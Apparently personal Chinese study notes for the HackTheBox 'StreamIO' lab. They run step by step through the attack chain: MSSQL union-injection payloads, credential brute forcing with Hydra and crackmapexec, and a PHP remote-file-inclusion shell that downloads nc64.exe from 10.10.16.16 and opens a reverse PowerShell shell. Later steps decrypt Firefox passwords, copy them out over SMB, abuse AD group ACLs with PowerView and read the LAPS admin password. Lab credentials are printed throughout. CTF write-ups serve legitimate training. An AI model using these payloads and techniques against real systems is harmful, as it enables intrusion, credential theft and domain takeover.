主要知识点的集合
爆破子域名
wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315
探测sab端口三种方法
smbmap -H 10.129.64.95
smbclient -L //10.129.64.95 -N
crackmapexec smb 10.129.64.95
MSSQL注⼊攻击
RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where
xtype='U';-- -
a' select 1,name,id,4,5,6 from streamio..sysobjects where xtype='U';-- -
Walk-through of SQHell from TryHackMe - pencer.io sql注入的中高级用法,打完回来学习
mssql注入
select * from movie where film like '%[input]%';
现在就算它不报错,但我还是可以有的玩。
⽐如⽤关键词 time';-- - 来试探:
select * from movie where film like '%time';-- -%';
这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。
事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的
RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3
RedteamNotes' union select 1,@@version,3,4,5,6;-- -
RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -
从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫
INFORMATION_SCHEMA。
不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。
RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from
master..sysdatabases;-- - 获得 srteamio
RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where
xtype='U';-- - 有个users表
在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。
RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in
(885578193,901578250);-- - 有username和 password
RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -
获得账号密码
curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"
Victor ;bf55e15b119860a6e6b5a164377da719
| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'
-
sed -e 's/<h5 class="p-2">//g'
:-
-e
表示后面跟随的是一个sed脚本。 -
s/<h5 class="p-2">//g
表示要进行替换的操作。具体来说:
-
s/
表示进行替换。 -
<h5 class="p-2">
是要被替换的字符串,这是一个HTML<h5>
标签,带有class="p-2"
属性。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
<h5 class="p-2">
的字符串。 -
-
-e 's/<\/h5>//g'
:-
同样,这部分也是一个sed脚本,用于删除HTML标签
</h5>
。 -
s/<\/h5>//g
的解释如下:
-
s/
表示进行替换。 -
<\/h5>
是要被替换的字符串,这是HTML中闭合的<h5>
标签。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
</h5>
的字符串。 -
综合起来,这个sed
命令的作用是删除文本中所有 <h5 class="p-2">
和 </h5>
这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。
| tr -d " \t"
-
tr
是一个字符替换命令,用于转换或删除输入中的字符。 -
-d
选项表示删除指定的字符。 -
" \t"
是要删除的字符集,其中包括空格和制表符。
因此,tr -d " \t"
的作用是将输入中的空格和制表符删除。
爆破(crackmapexec爆破smb,hydra爆破web登入页面,wfuzz枚举参数)
crackmapexec爆破smb
获得的账号密码分开放
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]
└─$ cat cracked-passwords | cut -d: -f1 > user
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]
└─$ cat cracked-passwords | cut -d: -f3 > pass
爆破smb
crackmapexec smb streamio.htb -u user -p pass --no-bruteforce --continue-on -
success
均失败
hydra爆破web登入页面
格式化⼀下凭据数据
cat cracked-passwords | cut -d: -f1,3 | tee userpass
hydra -C userpass streamio.htb https-post-form
"/login.php:username=^USER^&password=^PASS^:F=failed"
F=failed
:这指定了指示登录尝试失败的条件。在这种情况下,如果服务器的响应包含“失败”一词,Hydra 将认为登录尝试不成功,并将继续尝试其他用户名和密码组合
⽤凭据 yoshihide:66boysandgirls.. ,完成在 https://streamio.htb/login.php 的登录
wfuzz枚举参数
wfuzz -u https://streamio.htb/admin/?FUZZ= -w
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:
PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp" --hh 1678
远程文件包含(powershell命令)
Freed0m/笔记/安全/Web渗透/PHP文章/PHP文件包含/php文件包含漏洞利用小结.md at master · xidaner/Freed0m · GitHub
调试语境下,为了读取到源码⽽不是执⾏源码,通过语句:
https://streamio.htb/admin/?debug=php://filter/convert.base64-
encode/resource=master.php
利用
php://filter
查看源代码:
php://filter`是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出`base64编码`后的内容,要获取真实内容的话,`需要进行base64解码
代码审计后发现include
curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b
'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'
shell.php的内容
system("powershell -c wget 10.10.16.16/nc64.exe -outfile
\programdata\nc64.exe");
system("\programdata\nc64.exe -e powershell 10.10.16.16 443");
programdata是基本所有用户都可以共享到的文件
-c
: 表示后面跟随的是 PowerShell 脚本或命令
-
-e powershell
:该选项指定建立连接后应执行PowerShell命令。 -
10.10.16.16
:这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。 -
443
:这是 Netcat 工具将在目标计算机上尝试连接的端口号。
rlwrap -cAr nc -lnvp 443 增强交互性
sqlcmd.exe(select-string,Get-Command枚举内容,sqlcmd的使用,chisel端口转发mssql)
web应⽤要看数据库对吧?切换到watch站点。因为在其中我们看到了数据库。
dir -recurse *.php | select-string -pattern "database"
-
dir -recurse \*.php
:这部分命令是使用dir
命令(PowerShell中的别名Get-ChildItem
)递归列出.php
当前目录及其子目录中所有带有扩展名的文件。 -
|
:这是管道运算符,它获取左侧命令的输出并将其用作右侧命令的输入。 -
select-string -pattern "database"
:这部分命令用于Select-String
搜索 PHP 文件内容中与指定模式(即字符串“database”)匹配的行。
因此,总而言之,该命令在当前目录及其子目录中搜索 PHP 文件,然后在这些 PHP 文件中查找包含字符串“database”的行。
两组: db_user:B1@hB1@hB1@h 和 db_admin:B1@hx31234567890 ,现在db_admin是⾼价值资产,为
web的watch⻚⾯sql注⼊是应该就是⽤的低权限的db_user⽤户,user不能读取备份数据库,但是admin应该可以。试⼀下。
可以通过chisel等隧道化的⼯具访问数据库,但本机安装了sqlcmd,直接⽤就好了。
# kail中
chisel server -p 9595 --reverse
# 靶机中
chisel.exe client 10.10.16.16:9595 R:127.0.0.1:1433
找sqlcmd在哪
where.exe sqlcmd
⽤gcm也可以,即Get-Command,给其fl参数,即Format-List
gcm sqlcmd.exe | fl
sqlcmd -? 列出⼯具的帮助信息:
根据如上的帮助写查询命令,我们只对backup数据库有访问权
sqlcmd -S localhost -U db_admin -P
B1@hx31234567890 -d streamio_backup -Q "select name from sys.tables;"
v拓展知识:select语句写成 select table_name from
streamio_backup.information_schema.tables; 也是可以的。 information_schema 是标准的SQL
架构,并且多数关系型数据库系统(包括MySQL和SQL Server)都实现了它,但在SQL Server中查询
表的常⻅⽅式是使⽤ sys 架构。
读取users表的信息:
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select
* from users;“
cat user_creds_raw
1 nikk37
389d14cb8e4e9b94b137deb1caf0612a
cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds
nikk37:389d14cb8e4e9b94b137deb1caf0612a
hashcat破解
firefox敏感信息泄露(如何解密码,smb复制)
evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb
获取\nikk37和users flag
在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗
goole 搜搜the profiles file location of firefox in windows system
filefox password crack
通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。
窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具
Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles
以下是相应操作系统的 NSS 库名称。
Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so
具体是这样的,如下⽤户资料的⽂件路径重要有 key4.db和logins.json两个⽂件,我们可以⻢上验证并试图拿到。
Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles
如下路径中有nss3.dll⽂件。
Windows: C:\Program Files\Mozillia Firefox
拓展资料:
\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。
\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。
\3. NSS(Network Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。
cd
C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles
ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..
cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json
在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。
/usr/share/doc/python3-impacket/examples/smbserver.py share . -user
RedteamNotes -pass RedteamNotes -smb2support
完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:
copy key4.db \10.10.16.16\share
copy logins.json \10.10.16.16\share
C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share
根据参考⽂章,Firepwd.py和firefox_decrypt.py都以完成破解。随便⽤⼀个试试看。
git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords
streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解
python firepwd/firepwd.py streamio_firefox
cat firefox_creds
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
cat firefox_creds | awk -F"'" '{print $2":"$4}' | tee firefox_creds_colon
cat firefox_creds | awk -F"'" '{print $2}' | tee firefox_creds_user
cat firefox_creds | awk -F"'" '{print $4}' | tee firefox_creds_pwd
crackmapexec 爆破smb和winrm。
凭据 JDgodd:JDg0dd1s@d0p3cr3@t0r 可以smb共享登录,没有令我们感兴趣的信息。不能winrm,⽆法获得shell
bloodhound枚举AD获得提权路径(一些参数,pdf有用手工和bloodhound作用一样的)
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns
10.129.126.185 -d streamio.htb -dc streamio.htb --zip
处理⼀下neo4j数据库,最好重启neo4j⼀下,⽤neo4j:neo4j默认密码登录后,设定⾃⼰的密码,然后我
⽤:neo4j:RedteamNotes登录进Bloodhound。导⼊刚才采集到的⽂件。
First Degree Object Control 已经拥有的用户
在域控制器图标上点选右键,选择“从已拥有节点⾄此的最短路径”
HELP对话框提示了利⽤⽅法,可以按提示进⾏攻击。
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:PHPSESSID=chmnbko788t766rp9t0amf121l" --hh 1678
提权到administrator利⽤过程(利用powerview脚本添加用户到laps组,ms-Mcs-AdmPwd的三种获取方法
Windows 本身没有 Add-DomainObjectAcl 、 Add-DomainGroupMember 和 Get-DomainObject 等类似功
能,需要我们⾃⼰写或引⼊第三库,我们⽤PowerView这段脚本,⽤wget下载到kali中。官⽅帮助⽂档
Evil-WinRM PS C:\Users\nikk37\Documents> cd c:\programdata
Evil-WinRM PS C:\programdata> upload PowerView.ps1
为JDGodd⽤户凭据构造加密的对象。
Evil-WinRM PS C:\programdata> . .\PowerView.ps1
Evil-WinRM PS C:\programdata> $pass = ConvertTo-SecureString
'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
Evil-WinRM PS C:\programdata> $cred = New-Object
System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
然后,将JDGodd增加到CORE Staff组中。
执⾏加⼊操作:
Evil-WinRM PS C:\programdata> Add-DomainObjectAcl -Credential $cred -
TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Evil-WinRM PS C:\programdata> Add-DomainGroupMember -Credential $cred -Identity
"Core Staff" -Members "StreamIO\JDgodd"
然后尝试读取管理员密码。默认属性中没有,在扩展属性中识别出管理员密码。这在Timelapse的⿊思
⽂档中也有类似的场景。
Evil-WinRM PS C:\programdata> Get-AdComputer dc -Properties * -Credential $cred
在通过搜索等⽅式如果知道字段名称ms-Mcs-AdmPwd,可以进⾏过滤和查询。
Evil-WinRM PS C:\programdata> Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd
-Credential $cred
相应地也可以在获得了CORE Staff组身份后通过LDAP读取。
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]
└─$ ldapsearch -H ldap://10.129.64.149 -b 'DC=streamIO,DC=htb' -x -D
JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
也可以通过crackmapexec获得
┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]
└─$ crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --
ntds
